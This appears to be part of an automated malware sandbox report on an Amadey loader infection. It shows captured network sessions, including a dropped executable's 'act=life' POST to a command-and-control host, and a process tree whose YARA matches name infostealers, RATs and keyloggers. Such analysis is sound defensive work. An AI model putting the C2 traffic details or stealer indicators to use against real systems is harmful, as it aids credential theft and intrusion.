2025-01-12 16:40:26 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-12 16:40:26 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-12 16:40:26 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-12 16:40:26 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-12 16:40:26 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-12 16:40:27 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 12 Jan 2025 16:40:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	50049	172.67.161.160	443	7860	C:\Users\user\AppData\Local\Temp\1039112001\fe4d890d0f.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-12 16:40:26 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: plodnittpw.lat
2025-01-12 16:40:26 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2025-01-12 16:40:26 UTC	1123	IN	HTTP/1.1 200 OK Date: Sun, 12 Jan 2025 16:40:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=l4k8e1933tdj3k4ec2jirmpik1; expires=Thu, 08 May 2025 10:27:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uPfdyY8p7Jmjf8aE4s3Tqy8Ot3zxORKWs51dqBVP6FEHxT7JryOgAijRwABmnVsB0nOQzko5as%2FaZ6ONAdBtSLzL8EGVBQaoxBf%2BnfLEaq4hyEvMp6siGEJSVA29zCtEnQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900e969d5f9e8cec-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1774&min_rtt=1762&rtt_var=686&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2833&recv_bytes=905&delivery_rate=1565683&cwnd=209&unsent_bytes=0&cid=6e506b894a125934&ts=825&x=0"
2025-01-12 16:40:26 UTC	8	IN	Data Raw: 33 0d 0a 0a 6f 6b 0d 0a Data Ascii: 3ok
2025-01-12 16:40:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.7	50061	104.102.49.254	443

Timestamp	Bytes transferred	Direction	Data
2025-01-12 16:41:03 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2025-01-12 16:41:03 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Sun, 12 Jan 2025 16:41:03 GMT Content-Length: 25665 Connection: close Set-Cookie: sessionid=a3f7c955a94e3e2fd109a0ca; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2025-01-12 16:41:03 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2025-01-12 16:41:03 UTC	11186	IN	Data Raw: 3f 6c 3d 6b 6f 72 65 61 6e 61 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 6b 6f 72 65 61 6e 61 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e ed 95 9c ea b5 ad ec 96 b4 20 28 4b 6f 72 65 61 6e 29 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 20 74 69 67 68 74 22 20 68 72 65 66 3d 22 3f 6c 3d 74 68 61 69 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 74 68 61 69 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e e0 b9 84 e0 b8 97 e0 b8 a2 20 28 54 68 61 69 29 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 Data Ascii: ?l=koreana" onclick="ChangeLanguage( 'koreana' ); return false;"> (Korean)</a><a class="popup_menu_item tight" href="?l=thai" onclick="ChangeLanguage( 'thai' ); return false;"> (Thai)</a>

Target ID:	1
Start time:	11:38:18
Start date:	12/01/2025
Path:	C:\Users\user\Desktop\UWYXurYZ2x.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\UWYXurYZ2x.exe"
Imagebase:	0x4e0000
File size:	1'908'224 bytes
MD5 hash:	C873C0AF86D36318F23BF63377181CDD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1384059485.0000000004F50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1424431616.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:38:22
Start date:	12/01/2025
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xee0000
File size:	1'908'224 bytes
MD5 hash:	C873C0AF86D36318F23BF63377181CDD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1423188954.00000000055A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1463848187.0000000000EE1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 63%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:38:22
Start date:	12/01/2025
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xee0000
File size:	1'908'224 bytes
MD5 hash:	C873C0AF86D36318F23BF63377181CDD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.1467265069.0000000000EE1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.1426197398.0000000005610000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:39:00
Start date:	12/01/2025
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xee0000
File size:	1'908'224 bytes
MD5 hash:	C873C0AF86D36318F23BF63377181CDD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000002.2640452482.0000000000EE1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	11:39:22
Start date:	12/01/2025
Path:	C:\Users\user\AppData\Local\Temp\1034725001\oavvDqT.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1034725001\oavvDqT.exe"
Imagebase:	0x190000
File size:	17'585'152 bytes
MD5 hash:	A0536969D73946775B6F51A3475909A1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 21%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	11:39:29
Start date:	12/01/2025
Path:	C:\Users\user\AppData\Local\Temp\1034761001\13Z5sqy.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1034761001\13Z5sqy.exe"
Imagebase:	0xea0000
File size:	4'948'992 bytes
MD5 hash:	E8A5869F5D620B5B33B70EA5ACCB6AE9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 58%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	11:39:36
Start date:	12/01/2025
Path:	C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1037345001\usPaQ3D.exe"
Imagebase:	0xd10000
File size:	3'136'512 bytes
MD5 hash:	441DA4796862373EC5F2EBC9A26AF14A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: 0000000B.00000002.2646654757.0000000003468000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: 0000000B.00000002.2646654757.00000000036A6000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VenomRAT, Description: Yara detected VenomRAT, Source: 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_BrowserPasswordDump_1, Description: Yara detected BrowserPasswordDump, Source: 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic_3, Description: Yara detected Keylogger Generic, Source: 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp, Author: ditekSHen Rule: JoeSecurity_VenomRAT, Description: Yara detected VenomRAT, Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, Author: Joe Security Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, Author: Joe Security Rule: JoeSecurity_BrowserPasswordDump_1, Description: Yara detected BrowserPasswordDump, Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic_3, Description: Yara detected Keylogger Generic, Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, Author: unknown Rule: infostealer_win_stealerium, Description: Detects Stealerium based on specific strings, Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, Author: Sekoia.io Rule: infostealer_win_stormkitty, Description: Finds StormKitty samples (or their variants) based on specific strings, Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, Author: Sekoia.io Rule: rat_win_dcrat_qwqdanchun, Description: Find DcRAT samples (qwqdanchun) based on specific strings, Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, Author: Sekoia.io Rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts, Description: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc., Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice, Description: Detects executables attemping to enumerate video devices using WMI, Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_References_VPN, Description: Detects executables referencing many VPN software clients. Observed in infosteslers, Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID, Description: Detects executables referencing Windows vault credential objects. Observed in infostealers, Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, Author: ditekSHen Rule: MALWARE_Win_StormKitty, Description: Detects StormKitty infostealer, Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	11:39:41
Start date:	12/01/2025
Path:	C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1038070001\WZMQlGj.exe"
Imagebase:	0x110000
File size:	320'512 bytes
MD5 hash:	9A687D1ACBA1F61C2BDCB9B479BC9FA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	11:39:50
Start date:	12/01/2025
Path:	C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1038359001\oldVNC.exe"
Imagebase:	0x400000
File size:	5'766'144 bytes
MD5 hash:	E93AE1069DB1872A792F4DADCE02EC26
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000000.2260521974.0000000000419000.00000020.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_DanaBot_stealer_dll, Description: Yara detected DanaBot stealer dll, Source: 0000000D.00000000.2260521974.0000000000419000.00000020.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe, Author: Joe Security Rule: JoeSecurity_DanaBot_stealer_dll, Description: Yara detected DanaBot stealer dll, Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_GENInfoStealer, Description: Detects executables containing common artifcats observed in infostealers, Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	11:39:53
Start date:	12/01/2025
Path:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Imagebase:	0x480000
File size:	231'736 bytes
MD5 hash:	A64BEAB5D4516BECA4C40B25DC0C1CD8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	11:39:54
Start date:	12/01/2025
Path:	C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1038856001\HNsLLEj.exe"
Imagebase:	0x730000
File size:	91'760 bytes
MD5 hash:	BCB905E5911BB8FE587B8FDF40495F08
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000F.00000000.2304347901.0000000000732000.00000002.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000F.00000002.2534657962.0000000003AE9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PovertyStealer, Description: Yara detected Poverty Stealer, Source: 0000000F.00000002.2533590954.0000000002AE9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	11:39:54
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
